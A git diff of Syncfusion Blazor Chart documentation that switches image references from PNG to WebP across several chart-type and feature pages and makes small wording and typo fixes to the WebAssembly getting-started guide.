diff --git a/blazor/chart/chart-types/stacked-bar.md b/blazor/chart/chart-types/stacked-bar.md
index d2b8b786db..f015e6136a 100644
--- a/blazor/chart/chart-types/stacked-bar.md
+++ b/blazor/chart/chart-types/stacked-bar.md
@@ -56,7 +56,7 @@ documentation: ug
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNLTtEsUyZmdwAXe?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Bar Chart](../images/chart-types-images/blazor-stacked-bar-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNLTtEsUyZmdwAXe?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Bar Chart](../images/chart-types-images/blazor-stacked-bar-chart.webp)" %}
 
 N> Refer to the [Blazor Stacked Bar Chart](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/stacked-bar-chart) feature tour page to know about its other groundbreaking feature representations. Explore the [Blazor Stacked Bar Chart Example](https://blazor.syncfusion.com/demos/chart/stacked-bar?theme=bootstrap5) to know how to to render and configure the Stacked Bar type chart.
 
@@ -451,7 +451,7 @@ The [ChartCornerRadius](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hXLIXzXpqbHxThSx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked bar chart with corner radius](../images/chart-types-images/blazor-stacked-bar-chart-corner-radius.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hXLIXzXpqbHxThSx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked bar chart with corner radius](../images/chart-types-images/blazor-stacked-bar-chart-corner-radius.webp)" %}
 
 Customize the corner radius for individual points in the chart series using the [OnPointRender](https://blazor.syncfusion.com/documentation/chart/events#onpointrender) event by utilizing the [CornerRadius](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.PointRenderEventArgs.html#Syncfusion_Blazor_Charts_PointRenderEventArgs_CornerRadius) property in its event argument.
 
@@ -507,7 +507,7 @@ Customize the corner radius for individual points in the chart series using the
     }
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNVIjTXJKkhNeecS?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor Stacked bar chart with corner radius using OnPointRender event](../images/chart-types-images/blazor-stacked-bar-chart-corner-radius-onPointRender.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VNVIjTXJKkhNeecS?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor Stacked bar chart with corner radius using OnPointRender event](../images/chart-types-images/blazor-stacked-bar-chart-corner-radius-onPointRender.webp)" %}
 
 ## Stacking group
 
diff --git a/blazor/chart/chart-types/stacked-column.md b/blazor/chart/chart-types/stacked-column.md
index 0a1b11ad9f..f5b4e4a8c2 100644
--- a/blazor/chart/chart-types/stacked-column.md
+++ b/blazor/chart/chart-types/stacked-column.md
@@ -62,7 +62,7 @@ To render a [stacked column](https://www.syncfusion.com/blazor-components/blazor
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VjBJXasqJzvlIjSR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Column Chart](../images/chart-types-images/blazor-stacked-column-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VjBJXasqJzvlIjSR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Column Chart](../images/chart-types-images/blazor-stacked-column-chart.webp)" %}
 
 N> Refer to the [Blazor Stacked Column Chart](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/stacked-column-chart) feature tour page to know about its other groundbreaking feature representations. Explore the [Blazor Stacked Column Chart Example](https://blazor.syncfusion.com/demos/chart/stacked-column?theme=bootstrap5) to know how to render and configure the Stacked Column type chart.
 
@@ -456,7 +456,7 @@ The [ChartCornerRadius](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.
 }
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZByXTjJqkyCcSge?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked column chart with corner radius](../images/chart-types-images/blazor-stacked-column-chart-corner-radius.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZByXTjJqkyCcSge?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked column chart with corner radius](../images/chart-types-images/blazor-stacked-column-chart-corner-radius.webp)" %}
 
 Customize the corner radius for individual points in the chart series using the [OnPointRender](https://blazor.syncfusion.com/documentation/chart/events#onpointrender) event by utilizing the [CornerRadius](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.PointRenderEventArgs.html#Syncfusion_Blazor_Charts_PointRenderEventArgs_CornerRadius) property in its event argument.
 
@@ -513,7 +513,7 @@ Customize the corner radius for individual points in the chart series using the
     }
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXBIZpjfKYcxqQNe?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor Stacked column chart with corner radius using OnPointRender event](../images/chart-types-images/blazor-stacked-column-chart-corner-radius-onPointRender.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXBIZpjfKYcxqQNe?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor Stacked column chart with corner radius using OnPointRender event](../images/chart-types-images/blazor-stacked-column-chart-corner-radius-onPointRender.webp)" %}
 
 ## Stacking group
 
diff --git a/blazor/chart/chart-types/stacked-line.md b/blazor/chart/chart-types/stacked-line.md
index 77aa65a771..fed16080d2 100644
--- a/blazor/chart/chart-types/stacked-line.md
+++ b/blazor/chart/chart-types/stacked-line.md
@@ -80,7 +80,7 @@ documentation: ug
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXBzNOsLpWPFqTrE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Line Chart](../images/chart-types-images/blazor-stacked-line-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXBzNOsLpWPFqTrE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Line Chart](../images/chart-types-images/blazor-stacked-line-chart.webp)" %}
 
 N> Refer to the [Blazor Stacked Line Chart](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/stacked-line-chart) feature tour page to know about its other groundbreaking feature representations. Explore the [Blazor Stacked Line Chart Example](https://blazor.syncfusion.com/demos/chart/stacked-line?theme=bootstrap5) to know how to render and configure the Stacked Line type chart.
 
diff --git a/blazor/chart/chart-types/step-area.md b/blazor/chart/chart-types/step-area.md
index bc2a7c36cd..11b282a8e1 100644
--- a/blazor/chart/chart-types/step-area.md
+++ b/blazor/chart/chart-types/step-area.md
@@ -47,7 +47,7 @@ documentation: ug
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDhUsBhHTngrkaFC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Step Area Chart](../images/chart-types-images/blazor-step-area-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDhUsBhHTngrkaFC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Step Area Chart](../images/chart-types-images/blazor-step-area-chart.webp)" %}
 
 N> Refer to the [Blazor Step Area Chart](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/step-area-chart) feature tour page to know about its other groundbreaking feature representations. Explore the [Blazor Step Area Chart Example](https://blazor.syncfusion.com/demos/chart/step-area?theme=bootstrap5) to know how to render and configure the Step Area type chart.
 
diff --git a/blazor/chart/chart-types/step-line.md b/blazor/chart/chart-types/step-line.md
index cee3e28693..5c4f435505 100644
--- a/blazor/chart/chart-types/step-line.md
+++ b/blazor/chart/chart-types/step-line.md
@@ -50,7 +50,7 @@ documentation: ug
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjhfXairAFPdRAGd?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Step Line Chart](../images/chart-types-images/blazor-step-line-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjhfXairAFPdRAGd?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Step Line Chart](../images/chart-types-images/blazor-step-line-chart.webp)" %}
 
 ## Binding data with series
 
diff --git a/blazor/chart/chart-types/vertical-chart.md b/blazor/chart/chart-types/vertical-chart.md
index 164c758697..34c071a952 100644
--- a/blazor/chart/chart-types/vertical-chart.md
+++ b/blazor/chart/chart-types/vertical-chart.md
@@ -44,7 +44,7 @@ One can draw a vertical chart by changing the axis orientation, and all series t
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtrzXFhjSvWwRZBo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Vertical Spline Chart](../images/othertypes/blazor-vertical-spline-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtrzXFhjSvWwRZBo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Vertical Spline Chart](../images/othertypes/blazor-vertical-spline-chart.webp)" %}
 
 ## Binding data with series
 
diff --git a/blazor/chart/chart-types/waterfall.md b/blazor/chart/chart-types/waterfall.md
index 615c6921f2..19487cbae7 100644
--- a/blazor/chart/chart-types/waterfall.md
+++ b/blazor/chart/chart-types/waterfall.md
@@ -52,7 +52,7 @@ documentation: ug
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNhzNbVjepXCmPUR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Waterfall Chart](../images/othertypes/blazor-waterfall-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BNhzNbVjepXCmPUR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Waterfall Chart](../images/othertypes/blazor-waterfall-chart.webp)" %}
 
 N> Explore the [Blazor Waterfall Chart Example](https://blazor.syncfusion.com/demos/chart/waterfall?theme=bootstrap5) to know how to render and configure the Waterfall type chart.
 
@@ -189,7 +189,7 @@ The [ChartCornerRadius](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.
 }
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXBINztpgOESJjZh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Waterfall Chart with corner radius](../images/chart-types-images/blazor-waterfall-chart-corner-radius.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXBINztpgOESJjZh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Waterfall Chart with corner radius](../images/chart-types-images/blazor-waterfall-chart-corner-radius.webp)" %}
 
 Customize the corner radius for individual points in the chart series using the [OnPointRender](https://blazor.syncfusion.com/documentation/chart/events#onpointrender) event by utilizing the [CornerRadius](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.PointRenderEventArgs.html#Syncfusion_Blazor_Charts_PointRenderEventArgs_CornerRadius) property in its event argument.
 
@@ -242,7 +242,7 @@ Customize the corner radius for individual points in the chart series using the
 }
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtrSZfDfpXVcpRWL?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor Waterfall Chart with corner radius using OnPointRender event](../images/chart-types-images/blazor-waterfall-chart-corner-radius-onPointRender.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtrSZfDfpXVcpRWL?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor Waterfall Chart with corner radius using OnPointRender event](../images/chart-types-images/blazor-waterfall-chart-corner-radius-onPointRender.webp)" %}
 
 ## Empty points
 
diff --git a/blazor/chart/cross-hair-and-track-ball.md b/blazor/chart/cross-hair-and-track-ball.md
index b14f6fdd13..3d77472b4b 100644
--- a/blazor/chart/cross-hair-and-track-ball.md
+++ b/blazor/chart/cross-hair-and-track-ball.md
@@ -56,7 +56,7 @@ Enabling the [SnapToData](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazo
 
 ```
 
-![SnapToData Crosshair in Blazor Line Chart](images/crosshair/blazor-line-chart-with-crosshair.png)
+![SnapToData Crosshair in Blazor Line Chart](images/crosshair/blazor-line-chart-with-crosshair.webp)
 
 ## Enable Tooltip
 
@@ -103,7 +103,7 @@ The [Enable](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Char
 
 ```
 
-![Crosshair with Tooltip in Blazor Line Chart](images/crosshair/blazor-line-chart-crosshair-with-tooltip.png)
+![Crosshair with Tooltip in Blazor Line Chart](images/crosshair/blazor-line-chart-crosshair-with-tooltip.webp)
 
 ## Crosshair customization
 
@@ -156,7 +156,7 @@ The [Fill](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartA
 
 ```
 
-![Blazor Line Chart with Custom crosshair and Tooltip](images/crosshair/blazor-line-chart-custom-crosshair-and-tooltip.png)
+![Blazor Line Chart with Custom crosshair and Tooltip](images/crosshair/blazor-line-chart-custom-crosshair-and-tooltip.webp)
 
 ## Trackball
 
@@ -213,7 +213,7 @@ The trackball is used to track the data point that is closest to the mouse or to
 
 ```
 
-![Trackball in Blazor Line Chart](images/crosshair/blazor-line-chart-with-trackball.png)
+![Trackball in Blazor Line Chart](images/crosshair/blazor-line-chart-with-trackball.webp)
 
 ## Highlighting data range with crosshair
 
@@ -274,7 +274,7 @@ The [HighlightCategory](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNBIjJjJztIfQRsg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Crosshair in Blazor Line Chart with highlight background](images/crosshair/blazor-line-chart-with-highlight-background-trackball.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNBIjJjJztIfQRsg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Crosshair in Blazor Line Chart with highlight background](images/crosshair/blazor-line-chart-with-highlight-background-trackball.webp)" %}
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Chart Example](https://blazor.syncfusion.com/demos/chart/line?theme=bootstrap5) to know various chart types and how to represent time-dependent data, showing trends at equal intervals.
 
diff --git a/blazor/chart/data-editing.md b/blazor/chart/data-editing.md
index 2b8a63c5fd..a8b6532531 100644
--- a/blazor/chart/data-editing.md
+++ b/blazor/chart/data-editing.md
@@ -69,7 +69,7 @@ Data editing allows rendered data points to be dragged and dropped at run time.
 
 ```
 
-![Data Editing in Blazor Chart](images/data-editing/blazor-chart-data-editing.png)
+![Data Editing in Blazor Chart](images/data-editing/blazor-chart-data-editing.webp)
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Chart Example](https://blazor.syncfusion.com/demos/chart/line?theme=bootstrap5) to know various chart types and how to represent time-dependent data, showing trends at equal intervals.
 
diff --git a/blazor/chart/data-label-template.md b/blazor/chart/data-label-template.md
index 4c895b0237..51c5b3ab90 100644
--- a/blazor/chart/data-label-template.md
+++ b/blazor/chart/data-label-template.md
@@ -74,6 +74,6 @@ Text and interior information for a point can be bound from a datasource other t
 
 ```
 
-![Blazor Chart Label with Template](images/data-label/blazor-chart-label-template.png)
+![Blazor Chart Label with Template](images/data-label/blazor-chart-label-template.webp)
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Chart Example](https://blazor.syncfusion.com/demos/chart/line?theme=bootstrap5) to know various chart types and how to represent time-dependent data, showing trends at equal intervals.
diff --git a/blazor/chart/data-labels.md b/blazor/chart/data-labels.md
index 93456e5dd3..19043f5130 100644
--- a/blazor/chart/data-labels.md
+++ b/blazor/chart/data-labels.md
@@ -45,7 +45,7 @@ documentation: ug
 
 ```
 
-![Blazor Chart with Data Label](images/data-label/blazor-chart-data-label.png)
+![Blazor Chart with Data Label](images/data-label/blazor-chart-data-label.webp)
 
 ## Position
 
@@ -85,7 +85,7 @@ Using [Position](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.
 
 ```
 
-![Changing Label Position in Blazor Chart](images/data-label/blazor-chart-label-position.png)
+![Changing Label Position in Blazor Chart](images/data-label/blazor-chart-label-position.webp)
 
 N> The position `Outer` is applicable only for column and bar series.
 
@@ -132,7 +132,7 @@ The [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartD
 
 ```
 
-![Blazor Chart Label with Text Mapping](images/data-label/blazor-chart-label-with-text-mapping.png)
+![Blazor Chart Label with Text Mapping](images/data-label/blazor-chart-label-with-text-mapping.webp)
 
 ## Format
 
@@ -174,7 +174,7 @@ Data label for the chart can be formatted using [Format](https://help.syncfusion
 
 ```
 
-![Blazor Chart Label with Format](images/data-label/blazor-chart-label-with-format.png)
+![Blazor Chart Label with Format](images/data-label/blazor-chart-label-with-format.webp)
 
 ## Margin
 
@@ -218,7 +218,7 @@ The [Margin](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Char
 
 ```
 
-![Blazor Chart Label with Margin](images/data-label/blazor-chart-label-with-margin.png)
+![Blazor Chart Label with Margin](images/data-label/blazor-chart-label-with-margin.webp)
 
 ## Customization
 
@@ -261,7 +261,7 @@ Data label can be customized using [Fill](https://help.syncfusion.com/cr/blazor/
 
 ```
 
-![Blazor Chart with Custom Label](images/data-label/blazor-chart-custom-label.png)
+![Blazor Chart with Custom Label](images/data-label/blazor-chart-custom-label.webp)
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Chart Example](https://blazor.syncfusion.com/demos/chart/line?theme=bootstrap5) to know various chart types and how to represent time-dependent data, showing trends at equal intervals.
 
diff --git a/blazor/chart/data-markers.md b/blazor/chart/data-markers.md
index 7ffe88e3fe..80b4eea025 100644
--- a/blazor/chart/data-markers.md
+++ b/blazor/chart/data-markers.md
@@ -52,7 +52,7 @@ Markers can be added to the points by enabling the [Visible](https://help.syncf
 
 ```
 
-![Data Markers in Blazor Line Chart](images/marker/blazor-line-chart-data-marker.png)
+![Data Markers in Blazor Line Chart](images/marker/blazor-line-chart-data-marker.webp)
 
 ## Shape
 
@@ -91,7 +91,7 @@ Markers can be assigned with different shapes such as [Rectangle](https://help.s
 
 ```
 
-![Blazor Line Chart with Diamond Marker](images/marker/blazor-line-chart-diamond-marker.png)
+![Blazor Line Chart with Diamond Marker](images/marker/blazor-line-chart-diamond-marker.webp)
 
 ## Auto marker shape
 
@@ -150,7 +150,7 @@ By default, the chart [marker shape](https://help.syncfusion.com/cr/blazor/Syncf
 
 ```
 
-![Blazor Chart with different marker shapes](images/marker/blazor-line-chart-with-different-marker.png)
+![Blazor Chart with different marker shapes](images/marker/blazor-line-chart-with-different-marker.webp)
 
 ## Images
 
@@ -163,7 +163,7 @@ Apart from shapes, one can also add custom images to mark the data point using t
 <SfChart>
     <ChartSeriesCollection>
         <ChartSeries DataSource="@ConsumerReports" XName="X" YName="Y" Type="ChartSeriesType.Line">
-            <ChartMarker Visible="true" Shape="ChartShape.Image" Height="20" Width="20" ImageUrl="https://ej2.syncfusion.com/demos/src/chart/images/cloud.png">
+            <ChartMarker Visible="true" Shape="ChartShape.Image" Height="20" Width="20" ImageUrl="https://ej2.syncfusion.com/demos/src/chart/images/cloud.webp">
             </ChartMarker>
         </ChartSeries>
     </ChartSeriesCollection>
@@ -190,7 +190,7 @@ Apart from shapes, one can also add custom images to mark the data point using t
 
 ```
 
-![Blazor Chart with image marker shape](images/marker/blazor-line-chart-image-marker.png)
+![Blazor Chart with image marker shape](images/marker/blazor-line-chart-image-marker.webp)
 
 ## Fill marker with series color
 
@@ -232,7 +232,7 @@ Marker can be filled with the series color by setting [IsFilled](https://help.sy
 
 ```
 
-![Blazor Line Chart with Custom Markers](images/marker/blazor-line-chart-filled-marker.png)
+![Blazor Line Chart with Custom Markers](images/marker/blazor-line-chart-filled-marker.webp)
 
 ## Customization
 
@@ -276,7 +276,7 @@ Markers color can be customized using [Fill](https://help.syncfusion.com/cr/blaz
 
 ```
 
-![Blazor Line Chart with Custom Markers](images/marker/blazor-line-chart-custom-marker.png)
+![Blazor Line Chart with Custom Markers](images/marker/blazor-line-chart-custom-marker.webp)
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Chart Example](https://blazor.syncfusion.com/demos/chart/line?theme=bootstrap5) to know various chart types and how to represent time-dependent data, showing trends at equal intervals.
 
diff --git a/blazor/chart/date-time-axis.md b/blazor/chart/date-time-axis.md
index 4eb9663130..6bf7fdc046 100644
--- a/blazor/chart/date-time-axis.md
+++ b/blazor/chart/date-time-axis.md
@@ -50,7 +50,7 @@ A detailed walkthrough for customizing the dateTime axis is provided in the vide
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXBAMLVBfMpwmDHF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart with DateTime Axis](images/datetime/blazor-line-chart-datetime-axis.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rXBAMLVBfMpwmDHF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart with DateTime Axis](images/datetime/blazor-line-chart-datetime-axis.webp)" %}
 
 ## DateTime category axis
 
@@ -87,7 +87,7 @@ The [DateTime Category](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VjLAWVVVTCIjNxnP?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with DateTime Axis](images/datetime/blazor-line-chart-with-datetime-axis.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VjLAWVVVTCIjNxnP?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with DateTime Axis](images/datetime/blazor-line-chart-with-datetime-axis.webp)" %}
 
 ### Range
 
@@ -127,7 +127,7 @@ The axis range will be calculated automatically based on the provided data; howe
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrUirVVpWyKBAAB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Line Chart DateTime Axis based on Range](images/datetime/blazor-line-chart-axis-based-on-range.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrUirVVpWyKBAAB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Line Chart DateTime Axis based on Range](images/datetime/blazor-line-chart-axis-based-on-range.webp)" %}
 
 ### Interval customization
 
@@ -176,7 +176,7 @@ The [Interval](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Ch
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/htVgCLLrTWoQFSbR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Line Chart DateTime Axis based on Interval](images/datetime/blazor-line-chart-axis-based-on-interval.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/htVgCLLrTWoQFSbR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Line Chart DateTime Axis based on Interval](images/datetime/blazor-line-chart-axis-based-on-interval.webp)" %}
 
 **Applying padding to the Range**
 
@@ -221,7 +221,7 @@ When the [RangePadding](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXVnZLXqBdqfnaMB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart without RangePadding](images/datetime/blazor-line-chart-axis-based-on-range.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LXVnZLXqBdqfnaMB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart without RangePadding](images/datetime/blazor-line-chart-axis-based-on-range.webp)" %}
 
 **DateTime - Round**
 
@@ -329,7 +329,7 @@ Using the [LabelFormat](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDhdXhNgLdCIhTrD?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Axis Label Formatting in Blazor Line Chart](images/datetime/blazor-line-chart-axis-label-format.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDhdXhNgLdCIhTrD?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Axis Label Formatting in Blazor Line Chart](images/datetime/blazor-line-chart-axis-label-format.webp)" %}
 
 The table below shows the results of applying various popular date and time formats to the [LabelFormat](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartAxis.html#Syncfusion_Blazor_Charts_ChartAxis_LabelFormat) property.
 
diff --git a/blazor/chart/getting-started-wasm.md b/blazor/chart/getting-started-wasm.md
index 5d283a1df2..010fedd5c7 100644
--- a/blazor/chart/getting-started-wasm.md
+++ b/blazor/chart/getting-started-wasm.md
@@ -1,6 +1,6 @@
 ---
 layout: post
-title: Getting Stared with Blazor Chart Component | Syncfusion
+title: Getting Started with Blazor Chart Component | Syncfusion
 description: Checkout and learn about getting started with Syncfusion Blazor Charts in Blazor WebAssembly (WASM) App using Visual Studio and more.
 platform: Blazor
 control: Chart
@@ -11,7 +11,7 @@ documentation: ug
 
 # Getting Started with Blazor Chart Component in Blazor WASM App
 
-This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 > **Ready to streamline your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor development?** <br/>Discover the full potential of Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components with Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants. Effortlessly integrate, configure, and enhance your projects with intelligent, context-aware code suggestions, streamlined setups, and real-time insights—all seamlessly integrated into your preferred AI-powered IDEs like VS Code, Cursor, Syncfusion<sup style="font-size:70%">&reg;</sup> CodeStudio and more. [Explore Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants](https://blazor.syncfusion.com/documentation/ai-coding-assistant/overview)
 
@@ -87,7 +87,7 @@ cd BlazorApp
 
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.Charts](https://www.nuget.org/packages/Syncfusion.Blazor.Charts/) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+Install the [Syncfusion.Blazor.Charts](https://www.nuget.org/packages/Syncfusion.Blazor.Charts/) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (dotnet add package Syncfusion.Blazor.Charts --version {{ site.releaseversion }}), or the .NET CLI.
 
 Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
@@ -105,6 +105,8 @@ N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget
 
 After the package is installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Charts` namespaces.
 
+N> The `~/` notation represents the root directory of your project. This file is typically located in your project's root folder.
+
 {% tabs %}
 {% highlight razor tabtitle="~/_Imports.razor" %}
 
@@ -116,7 +118,7 @@ After the package is installed, open the **~/_Imports.razor** file and import th
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App. This step enables the Syncfusion components to work in your application.
 
 {% tabs %}
 {% highlight C# tabtitle="Program.cs" %}
@@ -132,7 +134,7 @@ builder.Services.AddSyncfusionBlazor();
 
 ## Add script resources
 
